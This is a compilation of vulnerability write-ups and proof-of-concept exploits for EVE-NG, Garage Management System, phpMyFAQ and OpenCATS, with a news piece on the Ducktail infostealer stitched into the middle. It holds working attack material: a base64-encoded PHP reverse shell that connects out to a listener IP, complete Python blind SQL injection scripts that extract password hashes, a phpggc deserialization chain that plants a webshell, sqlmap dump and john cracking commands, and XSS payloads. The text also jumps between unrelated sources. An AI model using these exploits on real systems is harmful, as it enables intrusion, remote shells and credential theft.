An arbitrary file upload vulnerability in the apiImportLabs function in api_labs.php of EVE-NG 2.0.3-112 Community allows attackers to execute arbitrary code via a crafted UNL file.

Hi all! A few months ago, during an activity, I tested an exposed EVE-NG instance. Immediately I thought:

**“I am going to find a critical vulnerability in EVE-NG!”**

I started the analysis and, a few days later, I reached my mission: now I’m gonna explain you all of my process, from recon to RCE, in:

> EVE-NG 2.0.3-112 (community)

_Let’s goo!_

**Phase 1: Inspecting Source Code**

From EVE-NG Website I downloaded the 2.0.3-112 Community version OVF. It was locally available at 192.168.1.26.

I started the source code analysis by finding potentially dangerous functions like exec, passthru, include and so on. After typing exec in search bar I found this:

_Results of ‘exec’ string_

Looking at results page, I realized it could have been so funny because there were a lot of exec references which imply input data to check and validate. I decided to investigate more in depth on _api\_labs.php_: it exposes an API to manage labs functions.

_api\_labs.php_

A quick sight to these functions gave me a hint on which ones I should focus on:

*   Import Lab
*   Export Lab

_Other ones were more sanitized/hard to exploit or they weren’t “highly related” to a potential RCE._

Function

Possible Exploit

Motivation (lines)

apiCloneLab

Path Traversal

_api\_labs.php_: 107, 117

apiDeleteLab

**RCE**

Possible RCE but hard to exploit (input filters)

apiImportLabs

**RCE**

Possible chained RCE

apiExportLabs

**RCE**

Possible chained RCE

**Phase 2: Exploit Theory**

A deeper inspection led me to this plan:

1.  Import zipped LAB with a payload inside filename
2.  Export the same LAB, thus triggering command execution

> Even if in other API calls UNL filename is checked and verified, in Import LAB feature (ZIP file) there isn’t a check on file parameter:

Function _apiImportLabs_ : html\includes\api_labs.php

_apiImportLabs function_

The absence of this check makes possible to inject arbitrary filenames in UNL files: in Linux almost all characters are permitted inside filename, so it’s fantastic. I only had to end filename with _“.unl”_.

In Export LAB feature there is a check to validate the existence of the file. If the file exists, the filename is passed to exec (parameter we control is $relement):

Function _apiExportLabs_ : html\includes\api_labs.php

_apiExportLabs function_

> **NOTE**: Considering that path delimiters in Linux are forward slashes (/) while I was in Windows environment, I had to inject a payload that didn’t contain such characters (/, : in Windows also \\ is path delimiter). I opted to inject as zip argument a bash command.

**Phase 3: PoC**

1) **Login as Admin**

*   To exploit this vulnerability, we must have enough privileges to create a new Lab. **Admin** user is the only role available in this version, so if you have an account on eve-ng, it will surely be an Administrator.

_Login page_

2) **Import a new LAB**

Once in _/#/main_ you must prepare the payload. Craft a payload as shown in steps below:

*   Create a ZIP file with a simple UNL file
*   Open ZIP file and rename it following these rules:
    *   The filename must end with “.unl”
    *   Filename must not contain these characters: / \\ “ ‘ Considering these limitations and that we must inject bash commands, final payload will be like:

> $(eval $(echo BASE64DATA| base64 --decode)).unl

The best thing we can do in this case is build a reverse shell. Payload is base64 encoded, so we need to base64 encode a reverse shell payload. In my case it has been:

> php -r '$sock=fsockopen("192.168.1.22",5555);exec("/bin/sh -i <&3 >&3 2>&3");'

*   Base64-encoded:

> cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE5Mi4xNjguMS4yMiIsNTU1NSk7ZXhlYygiL2Jpbi9zaCAtaSA8JjMgPiYzIDI+JjMiKTsn

But you must change it in the following format:

> php -r '$sock=fsockopen("YOUR_LISTENING_IP",YOUR_LISTENING_PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

3) **Upload malicious ZIP file as new Lab**

_Malicious ZIP_

4) **Export LAB**

In this final stage you must export the malicious Lab you’ve just created. Shell commands inside the UNL name will be executed. In case of reverse shell, be sure you are listening on IP and port set in malicious filename.

_Netcat listening_

_Export LAB_

_Reverse Shell_

**STAY TUNED!**

CVE-2022-31366: A deep dive into EVE-NG Remote Command Execution

Categories: News
Categories: Threats
Tags: Ducktail

Tags:  infosteal

Tags:  information stealer

Tags:  Zscaler

Tags:  Trojan

Tags:  Facebook Business

Tags:  Facebook API graph

Tags:  Facebook Ads Manager

Tags:  PHP malware

An information stealer known to go after the Facebook accounts of businesses is now after crypto wallets, too.



(Read more...)




The post New PHP-based Ducktail infostealer is now after crypto wallets appeared first on Malwarebytes Labs.

Posted: October 20, 2022 by

A phishing campaign known to specifically target employees with access to their company's Facebook Business and Ads accounts has significantly widened its net and begun using a first-of-its-kind information-stealing malware to go after crypto wallets.

The Ducktail _(Woo-ooh!)_ campaign was first made public three months ago in July, but it's thought to have been active since 2018. The cybercriminal behind the campaign is thought to be from Vietnam.

**Ducktail 101**

Social engineering attacks and malware form the core of Ducktail's _modus operandi_. In previous campaigns, it used a .NET Core malware that specifically steals Facebook Business and Ads accounts and saved browser credentials. All stolen data was then exfiltrated to its command & control (C2) server, a private Telegram channel.

In this latest campaign, the cybercriminals replaced .NET Core with malware written in PHP. Not only does Ducktail continue to steal Facebook credentials and browser data, but it also steals cryptocurrency wallets, too. These are then stored on a command & control (C2) website in JSON (JavaScript Object Notation) format, wherein texts are easy to understand.

Note that Ducktail also broadened its target to include all Facebook users.

The attacker lures their target into downloading and installing a malicious installer (usually compressed in a ZIP file) by making them believe it's a video game, subtitle, adult video, or cracked MS application file (among others). This ZIP is hosted on popular file-sharing platforms.

Once the file is opened, the malware shows a fake "Checking Application Compatibility" pop-up to distract users while it installs in the background. The malware then executes two processes: The first is for establishing persistence on the affected system, meaning the malicious script is scheduled to run daily and regularly; The second is for data stealing tasks. 

Zscaler researchers broke down the kinds of data this PHP malware steals:

*   Browser information (machine ID, browser version, user profiles). In particular, this malicious script is after sensitive data stored in Chrome browsers. 
*   Information stored in browser cookies
*   Crypto account information from the _wallet.dat_ file
*   Data from various Facebook pages, such as API graph, Ads Manager, and Business, which are not limited to: 
    *   Accounts and their status
    *   Ads payment cycle
    *   Currency details
    *   Funding source
    *   Payment method
    *   PayPal payment method (email address tied to PayPal accounts)
    *   Verification status

Data stored on the C2 website is retrieved and used to conduct further information theft within the affected system. Additional stolen information is fed back to the C2 server.

**Stay safe from the Ducktail infostealer**

As Ducktail uses clever social engineering tactics as the precursor to infection and information theft, it is more important than ever for Facebook users, especially those responsible for their business's Facebook accounts, to be wary of this information stealer's risks. Prevention is key.

*   Never download files not relevant to your work, especially if you're using company-provided computers and mobile devices.
*   Be wary of downloading files from popular file-sharing sites. Malware is usually shared there, too.
*   If something seems too good to be true, it probably is. You'd be better off avoiding it.

If you suspect you've been infected by Ducktail malware and you're a Facebook Business administrator, check if any new users have been added to _Business Manager > Settings > People._ Revoke access to any unknown users with admin access.

Lastly, it is essential to have security software you can count on installed on your computer to protect against risky files that may still end up on the computer, regardless of one's vigilance. Remember that some malware campaigns don't need human intervention to infect systems. You have to watch out for those, too.

Stay safe!

**RELATED ARTICLES**

New PHP-based Ducktail infostealer is now after crypto wallets

A stored cross-site scripting (XSS) vulnerability in Garage Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the categoriesName parameter in createCategories.php.

**Exploit Title: Garage Management System 1.0 - 'categoriesName' - Stored XSS****Exploit Author: Sam Wallace****Software Link: https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html****Version: 1.0****Tested on: Debian****ID: CVE-2022-41358****Summary:**

Garage Management System utilizes client side validation to prevent XSS. Using burp, a request can be modified and replayed to the server bypassing this validation which creates an avenue for XSS.

**When messages suggest that validation is occuring this is a good point in time to validate that these checks are also being completed server side.**

**This is the request prior to any modifications in Burp.**

**Perform a quick modification in Burp...**

**Profit!**

**Proof**

**POC**

    Parameter: categoriesName
    URI: /garage/php_action/createCategories.php
    

    Host: 10.24.0.69
    Content-Length: 367
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://10.24.0.69
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqKDsN4gmatTEEkhS
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://10.24.0.69/garage/add-category.php
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: PHPSESSID=gbklvcv3vvv987636urv0gg53u
    Connection: close
    
    ------WebKitFormBoundaryqKDsN4gmatTEEkhS
    Content-Disposition: form-data; name="categoriesName"
    
    <script>alert(1)</script>
    ------WebKitFormBoundaryqKDsN4gmatTEEkhS
    Content-Disposition: form-data; name="categoriesStatus"
    
    1
    ------WebKitFormBoundaryqKDsN4gmatTEEkhS
    Content-Disposition: form-data; name="create"
    
    
    ------WebKitFormBoundaryqKDsN4gmatTEEkhS--
    
    
    ![Alt text](/img/Intercept.png "Optional title")
    

**Reference:**

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41358

CVE-2022-41358: GitHub - thecasual/CVE-2022-41358

phpMyFAQ versions 3.1.7 and prior are vulnerable to stored cross-site scripting (XSS). A patch is available on the `main` branch of the repository and anticipated to be part of version 3.2.0-alpha.

**phpMyFAQ vulnerable to Cross-site Scripting**

Moderate severity GitHub Reviewed Published Oct 19, 2022 • Updated Oct 19, 2022

GHSA-6rj8-9cm9-6gff: phpMyFAQ vulnerable to Cross-site Scripting

OpenCATS v0.9.6 was discovered to contain a SQL injection vulnerability via the tag_id variable in the Tag deletion function.

**SQL injection vulnerability in OpenCats 'Tag' deletion functionality.**

OpenCats version 0.9.6 PHP7.2 suffers from SQL injection vulnerability. This allows attackers control over the application's database.

User has control over tagID variable, which allows SQL injection in DELETE statement via time-based/blind techniques.

PoC: 

tagID variable is vulnerable. Similar query is build by application: DELETE FROM tag WHERE(tag_id = XXX OR tag_parent_id = 1) AND site_id = 1;

User can control XXX part. By asking many yes/no questions to the database user can differentiate between true and false statements. Using time-based blind technique attacker can exfiltrate data from entire database.

**PoC example:**

exfiltrate result of database() query:

blind-sql-demo.mp4**xploit.py**

import requests
import string
import sys

def inRange(rTime, averageTime, sleepAmount):
    if(rTime \> sleepAmount and rTime < rTime + (averageTime\*20/100) and rTime \> rTime \- (averageTime\*20/100)):
        return True
    else: return False

headers \= {}
proxies \= {}
#proxies\["http"\] = "http://127.0.0.1:8080"

#Login and get session cookie..
#Change this
headers\["Cookie"\] \= "CATS=cl2201l24aihqlnch0jgnr4pd2"
url \= "http://192.168.203.135/opencats/index.php?m=settings&a=ajax\_tags\_del"

#Prepare Content-Type for POST request compability
headers\["Content-Type"\] \= "application/x-www-form-urlencoded"
#Prepare POST parameter 'tag\_id'
postdata \= "tag\_id=PWN"

tempPayload \= "1 OR 1=(sleep(3))"

print("Sending few request to determine average response time...")

timeSum \= 0
numberOfBaselineRequests \= 5
for i in range(numberOfBaselineRequests):
    try:
        rTest \= requests.post(url, headers \= headers, data\=postdata.replace('PWN','1337'), proxies \= proxies) 
        timeSum  += rTest.elapsed.total\_seconds()
        if('<form name="loginForm"' in rTest.text):
            print("Session cookie not valid, change it inside .py")
            sys.exit(\-1)
        print("Iteration: " + str(i+1) + ". Response time in seconds: " + str(rTest.elapsed.total\_seconds()))
    except:
        print("Some exception ocurred while sending or receiving data from the application. Make sure IP is good. Exiting..")
        sys.exit(\-1)

averageTime \= timeSum/numberOfBaselineRequests
print("Average response time for " + str(numberOfBaselineRequests) + " requests is : " + str(averageTime))

print("\\nTrying to inject sleep(3)")
r \= requests.post(url, headers \= headers, data \= postdata.replace('PWN',tempPayload), proxies \= proxies)
rTime \= r.elapsed.total\_seconds()
print("Response time: " + str(rTime))

if(inRange(rTime, averageTime, 3)):
    print("\\n\[+\] Application is vulnerable to SQL injection...")

#Getting value for false statement -> sleep(1)
tempPayload2 \= "1 or 1=(sleep(0.1))"
r2 \= requests.post(url, headers \= headers, data \= postdata.replace('PWN',tempPayload2), proxies \= proxies)
t\_sleep\_one \= r2.elapsed.total\_seconds()

tempPayload3 \= "1 or 1=(sleep(0.3))"
r3 \= requests.post(url, headers \= headers, data\=postdata.replace('PWN', tempPayload3), proxies \= proxies)
t\_sleep\_three \= r3.elapsed.total\_seconds()

print("False statement time: " + str(t\_sleep\_one))
print("True statement time: " + str(t\_sleep\_three) + "\\n")

length \= 0
exfilQuery \= "1 OR 1=(IF(length(database())='XXX',sleep(0.3),sleep(0.1)))"
#Determine length of the result that we want. i.e database() function..
while(True):
    q \= exfilQuery.replace('XXX', str(length))
    r \= requests.post(url, headers \= headers, data \= postdata.replace('PWN', q))
    time \= r.elapsed.total\_seconds()
        
    print("Length : " + str(length) + ". Time: " + str(time))

    #If sleep(3) gets executed, we have correct length
    if(time \> (t\_sleep\_one+(t\_sleep\_one\*20/100))):
        print("Got length " + str(length))
        break
    
    length += 1
    if(length \== 1000):
        break
    
if(length \== 0 or length \== 1000):
    print("Something is wrong. Exiting...")
    sys.exit(\-1)
else: print("Length of 'database()' query: " + str(length))

#OK----|
alphanumerics \= list(string.ascii\_lowercase + string.ascii\_uppercase + string.digits)
exfilQuery \= "1 OR 1=(IF(substr(database(),YYY,1) = 'XXX',sleep(0.3), sleep(0.1)))"

data \= \[\]
for i in range(length):
    for item in alphanumerics:
        q \= exfilQuery.replace('XXX',str(item))
        q \= q.replace('YYY',str(i+1))
        print(q)
        r \= requests.post(url, headers \= headers, data \= postdata.replace('PWN',q), proxies \= proxies)
        time \= r.elapsed.total\_seconds()
        print(str(time) + "\\n")
        if(time \> (t\_sleep\_one+(t\_sleep\_one\*20/100))):
            print(str(i+1) + ". Letter = " + item)
            data.append(item)
            break

print("database() -> " + "".join(data))

CVE-2022-43022: opencats_zero-days/SQLI_tag_deletion.md at main · hansmach1ne/opencats_zero-days

OpenCATS v0.9.6 was discovered to contain a SQL injection vulnerability via the entriesPerPage variable.

**SQL injection vulnerability in OpenCats 'Job Orders'**

OpenCats version 0.9.6 PHP7.2 suffers from SQL injection vulnerability. This allows attackers control over the application's database.

User has control over entriesPerPage variable, which allows SQL injection in UPDATE statement, setPipelineEntriesPerPage function call.

SQL query code:

Since UPDATE statement is used to query the database, user can add arbitrary values to arbitrary columns inside 'user' table. Knowing this, it is possible to craft payload like: 15,first_name=(select password from user where user_id=1 limit 1)

This will update 'first\_name' with arbitrary data from database. In this example user's password hash will be written inside first\_name column. Since, first name is reflected in many endpoints in application, this means malicious person can exfiltrate data and control the database using it as a field to extract data. Attackers can also use blind sql injection techniques to extract db information.

CVE-2022-43021: opencats_zero-days/SQLI_JobOrders.md at main · hansmach1ne/opencats_zero-days

OpenCATS v0.9.6 was discovered to contain a SQL injection vulnerability via the tag_id variable in the Tag update function.

**SQL injection vulnerability in OpenCats 'Tag' update functionality.**

OpenCats version 0.9.6 PHP7.2 suffers from SQL injection vulnerability. This allows attackers control over the application's database.

User has control over tag\_id variable, which allows SQL injection in UPDATE statement via time-based/blind techniques.

Application builds the following query:  
UPDATE tag SET title = 'Title', description = 'Description' WHERE tag_id = XXX AND site_id = 1;

User has control over XXX part.

1337 OR 1337=(select IF(substr(database(),1,1)='a',(select sleep(3)), (select sleep(1)))))

With this payload, application will sleep for 3 seconds for every entry inside original table if the database() query result starts with 'a', otherwise it will sleep for one second.

With this time-based blind technique, attacker is able to exfiltrate any information from the database by querying many YES/NO questions to the database and intelligently measuring response times.

**POC**

This proof of concept exfiltrates administrator user's password hash:  
(select password from user where user_id=1)

**Bonus, let's crack the hash**

echo "password:21232f297a57a5a743894a0e4a801fc3" > hash.txt  
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash.txt

**xploit.py!**

import requests
import string
import sys

def inRange(rTime, averageTime, sleepAmount):
    if(rTime \> sleepAmount and rTime < rTime + (averageTime\*20/100) and rTime \> rTime \- (averageTime\*20/100)):
        return True
    else: return False

headers \= {}
proxies \= {}
#proxies\["http"\] = "http://127.0.0.1:8080"

#Login and get session cookie..
#Change this
headers\["Cookie"\] \= "CATS=cl2201l24aihqlnch0jgnr4pd2"
url \= "http://192.168.203.135/opencats/index.php?m=settings&a=ajax\_tags\_upd"

#Prepare Content-Type for POST request compability
headers\["Content-Type"\] \= "application/x-www-form-urlencoded"
#Prepare POST parameter 'tag\_id'
postdata \= "tag\_id=PWN&tag\_title=test"

#Change this depending on the endpoint
tempPayload \= "1 OR 1=(sleep(3))"

print("Sending few request to determine average response time...")

timeSum \= 0
numberOfBaselineRequests \= 5
for i in range(numberOfBaselineRequests):
    try:
        rTest \= requests.post(url, headers \= headers, data\=postdata.replace('PWN','1337'), proxies \= proxies) 
        timeSum  += rTest.elapsed.total\_seconds()
        if('<form name="loginForm"' in rTest.text):
            print("Session cookie not valid, change it inside .py")
            sys.exit(\-1)
    except:
        print("Some exception ocurred while sending or receiving data from the application. Make sure IP is good. Exiting..")
        sys.exit(\-1)

averageTime \= timeSum/numberOfBaselineRequests
print("Average response time for " + str(numberOfBaselineRequests) + " requests is : " + str(averageTime))

print("\\nTrying to inject sleep(3)")
r \= requests.post(url, headers \= headers, data \= postdata.replace('PWN',tempPayload), proxies \= proxies)
rTime \= r.elapsed.total\_seconds()
print("Response time: " + str(rTime))

if(inRange(rTime, averageTime, 3)):
    print("\\n\[+\] Application is vulnerable to SQL injection...")

#Getting value for false statement -> sleep(1)
tempPayload2 \= "1 or 1=(sleep(0.1))"
r2 \= requests.post(url, headers \= headers, data \= postdata.replace('PWN',tempPayload2), proxies \= proxies)
t\_sleep\_one \= r2.elapsed.total\_seconds()

tempPayload3 \= "1 or 1=(sleep(0.3))"
r3 \= requests.post(url, headers \= headers, data\=postdata.replace('PWN', tempPayload3), proxies \= proxies)
t\_sleep\_three \= r3.elapsed.total\_seconds()

print("False statement time: " + str(t\_sleep\_one))
print("True statement time: " + str(t\_sleep\_three) + "\\n")

length \= 0
exfilQuery \= "1 OR 1=(IF(length((select password from user where user\_id=1))='XXX',sleep(0.3),sleep(0.1)))"
#Determine length of the result that we want. i.e select passwrod from user query...
print("Determining the result length of our query...")

while(True):
    q \= exfilQuery.replace('XXX', str(length))
    r \= requests.post(url, headers \= headers, data \= postdata.replace('PWN', q))
    time \= r.elapsed.total\_seconds()

    #If sleep(3) gets executed, we have correct length
    if(time \> (t\_sleep\_one+(t\_sleep\_one\*20/100))):
        print("Got length " + str(length))
        break
    
    length += 1
    if(length \== 1000):
        break
    
if(length \== 0 or length \== 1000):
    print("Something is wrong. Exiting...")
    sys.exit(\-1)
else: print("Length of '(select password from user where user\_id=1)' query: " + str(length))

#OK----|
alphanumerics \= list(string.ascii\_lowercase + string.digits)
exfilQuery \= "1 OR 1=(IF(substr((select password from user where user\_id=1),YYY,1) = 'XXX',sleep(0.3), sleep(0.1)))"

data \= \[\]
print("Exfiltrating data. Query: (select password from user where user\_id=1). Patience...")

for i in range(length):
    for item in alphanumerics:
        q \= exfilQuery.replace('XXX',str(item))
        q \= q.replace('YYY',str(i+1))
        r \= requests.post(url, headers \= headers, data \= postdata.replace('PWN',q), proxies \= proxies)
        time \= r.elapsed.total\_seconds()
        #print(str(time) + "\\n")
        if(time \> (t\_sleep\_one+(t\_sleep\_one\*20/100))):
            print(str(i+1) + ". Letter = " + item)
            data.append(item)
            break

print("(select password from user where user\_id=1) -> " + "".join(data))

CVE-2022-43020: opencats_zero-days/SQLI_in_Tag_Updates.md at main · hansmach1ne/opencats_zero-days

OpenCATS v0.9.6 was discovered to contain a remote code execution (RCE) vulnerability via the getDataGridPager's ajax functionality.

**Remote Code Execution via insecure deserialization in OpenCats getDataGridPager's ajax functionality.****Vulnerable code**

**How to achieve command execution**

Useful information: OpenCats uses Guzzle, it can be used as a gadget chain.  
It is possible to craft serialized object using phpggc tool, that has Guzzle gadget chain predefined.

1.  Create payload that will be executed. I will use phpinfo().  
    echo "<?php phpinfo(); ?>" > /tmp/shell.php
    
2.  Create serialized payload with phpggc that will upload malicous shell to provided directory on web server.  
    ./phpggc -u --fast-destruct Guzzle/FW1 /var/www/html/opencats/pwned.php /tmp/shell.php
    

3.  Copy the payload inside 'p' parameter.  
    /ajax.php?f=getDataGridPager&i=1&p=PAYLOAD_FROM_PREVIOUS_STEP

4.  Execute webshell.

Ending notes. Upload location might vary from system to system, depending if www-data has write permission to web server's root directory. In case / (web server's root) is not writeable, upload a webshell to '/upload/pwned.php' instead.

CVE-2022-43019: opencats_zero-days/RCE_via_deserialisation.md at main · hansmach1ne/opencats_zero-days

OpenCATS v0.9.6 was discovered to contain a SQL injection vulnerability via the importID parameter in the Import viewerrors function.

Permalink

Cannot retrieve contributors at this time

**SQL injection vulnerability in OpenCats 'Import viewerrors' functionality.**

OpenCats version 0.9.6 PHP7.2 suffers from SQL injection vulnerability. This allows attackers control over the application's database.

User has control over data that gets passed inside SQL query, which allows SQL injection in SELECT statement via GET 'importID' parameter.

#Poc Decided to test this with sqlmap. Let's exfiltrate username and password hashes from the database.

    sqlmap -u "http://192.168.203.135/opencats/index.php?m=import&a=viewerrors&importID=1" --cookie="CATS=cl2201l24aihqlnch0jgnr4pd2" -T user -C user_id,user_name,password -p "importID" --flush-session --dump
    

04.10.2022\_00.44.40\_REC.mp4

CVE-2022-43023: opencats_zero-days/SQLI_imports_errors.md at main · hansmach1ne/opencats_zero-days

OpenCATS v0.9.6 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the indexFile component.

Permalink

**Name already in use**

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Go to file

*   Go to file

*   Copy path
*   Copy permalink

**1** contributor

**Users who have contributed to this file**

Cross Site Scripting vulnerability in the OpenCats 'indexFile'.

OpenCats version 0.9.6 PHP7.2 suffers from reflected XSS vulnerability. This allows attackers arbitrary JavaScript injection, which compromises secure session between client and server.

**PoC**

    GET //ajax.php?f=getPipelineJobOrder&joborderID=1&page=0&entriesPerPage=1&sortBy=dateCreatedInt&sortDirection=desc&indexFile=15)"></a><script>alert`xss`</script>&isPopup=0

Tag

#php